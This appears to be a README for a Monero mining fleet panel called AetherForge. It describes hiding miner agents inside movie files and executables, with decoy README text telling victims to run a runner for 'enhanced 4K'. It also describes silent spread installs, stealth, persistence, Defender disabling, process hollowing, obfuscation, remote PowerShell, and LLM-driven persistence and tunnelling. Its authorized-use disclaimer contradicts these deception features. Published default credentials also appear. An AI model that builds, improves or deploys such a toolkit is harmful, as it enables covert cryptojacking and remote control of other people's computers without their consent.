AetherForge

Private Monero fleet command deck for machines you own.

One control PC (Windows recommended for forging). One dashboard. Forge workers for Windows, Linux, and macOS — fuse inside a movie package or ship a Spread Kit for silent multi-OS deploy — and watch your fleet hash from a single steampunk-neon command deck.

No pool hopping through third-party dashboards. No per-rig SSH babysitting. You run the server, you bake the binaries, you own the fleet.

---

  ┌─────────────────────────────────────────────────────────────┐
  │  CALIBRATE (Settings)     pool · wallet · users · alerts    │
  │           │                                                 │
  │           ▼                                                 │
  │  FORGE (Builder)          worker .exe · prep fusion · movies │
  │           │                                                 │
  │           ├──► Prep fusion    embed worker in your prep.exe │
  │           ├──► Movie fusion   locked media + runner + ZIP   │
  │           │                                                 │
  │           ▼                                                 │
  │  WORKER PC                RandomX on CPU · WebSocket home   │
  │           │                                                 │
  │           ▼                                                 │
  │  COMMAND DECK             live stats · 3D map · remote ops  │
  └─────────────────────────────────────────────────────────────┘

---

What This Is

AetherForge is a self-hosted mining control plane — not a cloud pool UI, not a generic miner wrapper.

Layer	What it does
Control server	Go backend on port 8989 — REST API (Basic auth), WebSocket hub, SQLite fleet DB, Stratum proxy to your pool
Command deck	React dashboard — login gate, fleet overview, 3D topology map, agent roster, forge builder, calibrate settings, field guide
Worker agent	Cross-platform binary (Windows / Linux / macOS) compiled on demand — mines RandomX, phones home, reports OS + arch
Fusion (prep)	Bundler — hides the worker inside your uploaded prep.exe, same icon, single deliverable
Fusion (movie)	Optional media packages — encrypted movie + runner with embedded worker, ZIP export, per-title folders
Forge	Compile-time config — wallet, pool, threads, stealth, persistence, firewall rules, AI autonomy flags

You configure defaults once in Calibrate. You forge once per machine (or batch movies) in Forge. You run the output once on each worker. The agent installs, persists, connects, and shows up on the dashboard.

---

What You Get

Command Deck (Dashboard)

• Sign-in gate — dashboard API uses HTTP Basic auth; browser session stored until you close the tab
• Live fleet hashrate, CPU/RAM gauges, share feed
• 3D fleet topology map — agents orbiting the server node (React Three Fiber)
• Per-agent cards with pause / resume / stop / uninstall
• Fleet alerts (offline, hashrate drop, rejection spikes)
• Pool connection status, earnings estimate, AI activity panel
• Optional matrix stream overlay

Fleet Roster (Agents)

• Every connected worker — hostname, IP, cores, memory, uptime
• Hashrate history charts
• Remote control panel — mining ops, recon commands, PowerShell terminal, file upload
• Agent log viewer (when file logging is enabled)
• Fleet filters, bulk commands, notes/tags

Forge (Miner Builder)

• Target OS — Windows, Linux, macOS, or Universal (all platforms in one ZIP)
• Spread Kit — non-fusion ZIP with Deploy.bat / deploy.sh / Start.command → silent --spread-install
• Preflight cross-check before compile — wallet, server URL, pool, fusion, AI
• Blueprint save/load — re-forge the same profile across machines
• Build manager — download, paths, LAN QR for worker URL
• Prep fusion — upload prep.exe, run order (parallel / prep_first / worker_first), Garble obfuscation, Authenticode signing
• Movie fusion — upload .mp4 / .mkv / .mov (or prep .exe); two delivery modes (see below)
• Batch forge — queue many movies; progress bar; one ZIP per title
• Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion
• Universal movie fusion — one ZIP per title with per-OS runners; macOS gets a .app bundle (LSUIElement)

Cross-platform workers

OS	Persistence	Install base
Windows	Registry + scheduled task	%LOCALAPPDATA% (configurable)
Linux	systemd user service	XDG data home
macOS	LaunchAgent	~/Library/Application Support

Agents report platform, arch, and os_version on connect. The dashboard shows OS badges; Windows-only capabilities (process hollowing, Defender off) are gated in the UI and at runtime.

Requirements: Control server can run on Windows (forge host). Workers: Windows 10+, mainstream Linux (amd64/arm64), macOS 11+ (Intel or Apple Silicon).

Movie Fusion (detailed)

Use this when you want a named title folder with a runner the user actually launches — not a playable shortcut on the “movie” file.

Mode	Best for	What you get
Embedded (Option A)	Clips / smaller files (~500MB and under)	One disguised file (e.g. Title.mkv.exe) with movie + hidden worker inside
Paired (Option B)	Full-length films (up to 2 GiB upload)	Per-title folder under fusion-deliverables/<Title>/

Paired layout (example Vacation):

fusion-deliverables/Vacation/
├── README.txt              ← tells user to run the runner for “enhanced 4K”
├── Vacation-runner.exe     ← decrypts & plays; worker hidden inside runner only
├── Vacation.mkv.cmdata     ← encrypted media (hidden)
└── Vacation.mkv.lnk        ← shortcut with --locked (MessageBox: use runner)

• Clicking the movie shortcut does not play — it prompts for *runner.exe*
• Primary download after forge: Title-package.zip (README + locked media + runner; no separate miner in the ZIP)
• Agent is only inside the runner — not a loose miner file in the package

Upload limits: prep / video uploads capped at 2 GiB (FusionMaxUploadBytes).

Calibrate (Settings)

• Server port, public URL, data retention, max agents
• Default pool + wallet for new forge forms
• Users — add/change API accounts (default until data/users.json exists: see Quick Start)
• Alert thresholds + Telegram / email notifications
• Open Windows Firewall for dashboard port on startup

Under the Hood

• Stratum proxy — workers submit through your server; one upstream pool connection per wallet/host
• WebSocket hub — agents and dashboard get live stats, jobs, alerts
• Ollama AI autonomy (optional) — server-side LLM decides restart / persistence / tunnel actions; workers call /api/v1/agent/decide
• Retention jobs — auto-purge old hashrate samples and stale build artifacts
• Static SPA — built UI served from server/webroot/ (copied from server/web/dist by run.bat)

---

Quick Start

Requirements: Windows 10/11 on control PC and workers. Outbound internet to your Monero pool.

1. Double-click run.bat in the project root.
   It installs Go/Node if missing, builds the dashboard, compiles bin\miner-server.exe, copies web assets to server\webroot\, and starts the server.

2. Browser opens http://localhost:8989

3. Sign in when prompted (default credentials below)

4. Calibrate → set your Monero wallet + pool + (optional) public URL for remote workers

5. Forge → worker name + server URL (http://YOUR-LAN-IP:8989 or your tunnel URL) → Forge Installer
   For movies: set title, pick embedded vs paired, upload file, forge (or use batch mode)

6. Run the forged .exe once on each worker PC (or distribute movie ZIP + runner per your policy)

7. Watch them appear on Command Deck and Fleet Roster

Default login

Field	Value
Username	drjones
Password	czapiewski

Change or add users under Calibrate → Users (writes data/users.json).
API routes under /api/v1/* require Basic auth; static dashboard and /ws/dashboard do not.

Output locations

Artifact	Where
Fused / forged exe (primary)	Project root — e.g. prep.exe or install-worker.exe
Movie fusion per title	fusion-deliverables/<Title>/ + Title-package.zip
Archive copy	data\builds\{build-id}\
Uninstall script	Same build folder + download API
Server config	data\config.json
Fleet database	data\miner.db
Dashboard build (source)	server\web\dist\
Dashboard build (served)	server\webroot\

---

Network Deployment

Scenario	Server URL in Forge
Same LAN	http://192.168.x.x:8989
Cloudflare / reverse tunnel	https://your-domain.com

Workers auto-convert http(s):// → ws(s)://.../ws/agent. Workers only need outbound access to your control URL — not inbound ports on each worker.

Do not expose port 8989 to the public internet without VPN, firewall allowlist, or reverse-proxy auth. Remote commands are full machine control.

---

Project Layout

crypto miner/
├── run.bat                  ← one-click build + launch
├── bin/
│   └── miner-server.exe
├── data/                    ← config, DB, builds, preps, logs, users.json
├── fusion-deliverables/     ← per-title movie fusion output (gitignored)
├── server/
│   ├── main.go
│   ├── webroot/             ← production UI (copied from web/dist)
│   ├── web/                 ← React command deck (Vite + TypeScript)
│   └── internal/
│       ├── api/             ← HTTP routes, WebSocket, auth
│       └── builder/         ← forge + fusion + ZIP + media crypto
├── agent/                   ← Windows worker source (compiled by Forge)
├── fusion/                  ← prep + movie runner (embed, decrypt, play)
├── PROBLEMS.md              ← known issues audit (severity-ranked)
└── README.md                ← you are here

---

API Surface (summary)

Method	Path	Purpose
GET	/api/v1/health	Health check (no auth)
GET/PUT	/api/v1/config	Calibrate settings
POST	/api/v1/builder/build	Forge worker / fusion (multipart)
GET	/api/v1/builds	List builds
GET	/api/v1/builds/{id}/download	Download forged exe
GET	/api/v1/builds/{id}/artifact/{name}	Extra artifacts (ZIP, README, …)
GET	/api/v1/agents	Fleet list
POST	/api/v1/agents/{id}/command	Remote action (pause, powershell, …)
WS	/ws/agent	Worker connection
WS	/ws/dashboard	Live dashboard feed

Full route list: server/internal/api/router.go

---

Manual Build (if you skip run.bat)

cd server\web
npm install
npm run build

cd ..\..
xcopy /E /I /Y server\web\dist\* server\webroot\

cd server
go build -ldflags="-s -w" -o ..\bin\miner-server.exe .

cd ..
bin\miner-server.exe -port 8989 -data .\data

Open http://localhost:8989 and sign in with your configured users.

Run the test suite

Double-click test.bat (or scripts\test-suite.ps1) to run all Go, frontend, build, and E2E smoke tests. See tests/README.md for details.

Dashboard dev server

cd server\web
npm run dev

Vite proxies /api and /ws to localhost:8989. Run miner-server.exe separately.

Tech stack (dashboard)

Package	Version policy
React	18.x
@react-three/fiber	8.x (must match React 18 — v9+ needs React 19)
@react-three/drei	9.x
Vite	5.x

Important: @react-three/fiber v9 / drei v10 require React 19. With React 18 the app fails to mount (blank black screen, console: Cannot read properties of undefined (reading 'S')). package.json pins compatible versions; run npm install after pulling.

---

Troubleshooting

Symptom	Likely cause	Fix
Black screen, empty page	Stale service worker or React/R3F version mismatch	Hard refresh (Ctrl+Shift+R); clear site data for localhost:8989; ensure npm install + npm run build in server/web; copy dist → webroot; restart server
Login loop / 401	Wrong password or users.json	Use Calibrate → Users or default drjones / czapiewski
Dashboard builds but server shows placeholder HTML	Missing server/webroot/index.html	Run run.bat or copy server/web/dist/* → server/webroot/
Forge upload fails	File > 2 GiB	Use paired mode + compress, or embedded for smaller sources
Workers never appear	Wrong server URL / firewall	Use LAN IP in Forge; open 8989 on control PC

---

Known Issues

See PROBLEMS.md for a severity-ranked audit (build blockers, auth gaps, AI bugs, open items). Check there before production use on a large fleet.

---

⚠ LEGAL & FAIR USE WARNING

Read this before you deploy anything.

Authorized use only

AetherForge is designed and intended for computers and networks you own or explicitly administer — your home lab, your office fleet, machines where you have authority to install software and consume CPU resources.

By using this software you agree that:

1. You will only deploy workers on systems you control or have written permission to manage.
2. You will not install, fuse, or distribute forged binaries on third-party machines, public terminals, shared computers, or any system without the owner's informed consent.
3. You will not use Fusion, movie packages, stealth modes, persistence, remote execution, or spread-related features to deceive users about what software is running on their hardware.
4. You are solely responsible for compliance with local laws, employment policies, ISP terms, pool rules, and tax obligations related to cryptocurrency mining.

What this is NOT

• Not a tool for unauthorized access, lateral movement, or deployment on machines you do not own.
• Not malware — but misuse can make it indistinguishable from malware under law and antivirus heuristics. Freshly compiled miners and fused executables will trigger Defender and AV products on unmanaged systems.
• Not anonymous or untraceable. Mining connects to pools, leaves logs, and generates network traffic attributable to you.

Pool & earnings

• Use a valid Monero wallet address you control.
• Pool operators set their own terms — hashrate, rejected shares, and payout policies are between you and the pool.
• This project does not guarantee profitability, uptime, or pool compatibility.

Security responsibility

• Protect the dashboard with strong user passwords and network isolation. Do not expose port 8989 to the open internet without VPN or reverse-proxy auth.
• Remote command features (powershell, exec, file upload) are full control of a worker. Treat your control server like root access to every machine in the fleet.
• Movie fusion and prep fusion are for authorized distribution scenarios only — misleading packaging is misuse.
• Code signing, Defender exclusions, and network segmentation on your infrastructure are your job.

Disclaimer

THIS SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND. THE AUTHORS AND CONTRIBUTORS ARE NOT LIABLE FOR ANY DAMAGES, LEGAL ACTION, POOL BANS, DATA LOSS, HARDWARE DAMAGE, OR MISUSE BY YOU OR ANY THIRD PARTY.

If you cannot accept these terms, do not run AetherForge.

---

License

Private use. Monero mining uses the RandomX algorithm (BSD-3-Clause) via git.gammaspectra.live/P2Pool/go-randomx.

---

AetherForge — LAN MINING COMMAND
_{Calibrate · Forge · Deploy · Command}